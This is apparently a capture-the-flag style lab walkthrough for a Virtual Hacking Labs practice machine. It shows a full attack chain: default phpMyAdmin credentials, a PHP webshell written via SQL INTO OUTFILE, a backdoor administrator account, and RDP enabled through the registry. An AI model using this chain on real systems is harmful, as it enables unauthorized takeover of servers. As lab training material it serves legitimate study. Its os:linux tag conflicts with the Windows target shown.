Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🔵

Jennifer — VHL (10.11.1.146)

21/tcp open ftp FileZilla ftpd 0.9.41 beta

#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:rce

Jennifer — VHL (10.11.1.146)

Port Enumeration (10.11.1.146)

🐺 howlsec@kali
$21/tcp   open  ftp   FileZilla ftpd 0.9.41 beta
$80/443   open  http  Apache 2.4.3 (Win32) PHP 5.4.7 - CMS Mini (XAMPP)
$3306/tcp open  mysql MySQL

Foothold: phpMyAdmin default creds -> SQL -> webshell

/phpmyadmin/ accepts root:root (CMSmini admin panel is admin:password). Write a PHP webshell to the XAMPP webroot via INTO OUTFILE, then command exec:

🐺 howlsec@kali
01SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/exploit.php"
🐺 howlsec@kali
$# add an admin user and turn on RDP, then log in
$http://10.11.1.146/exploit.php?cmd=net user lazarus Lazarus! /add
$http://10.11.1.146/exploit.php?cmd=net localgroup administrators lazarus /add
$http://10.11.1.146/exploit.php?cmd=reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
$xfreerdp3 /u:lazarus /p:Lazarus! /v:10.11.1.146    # full admin desktop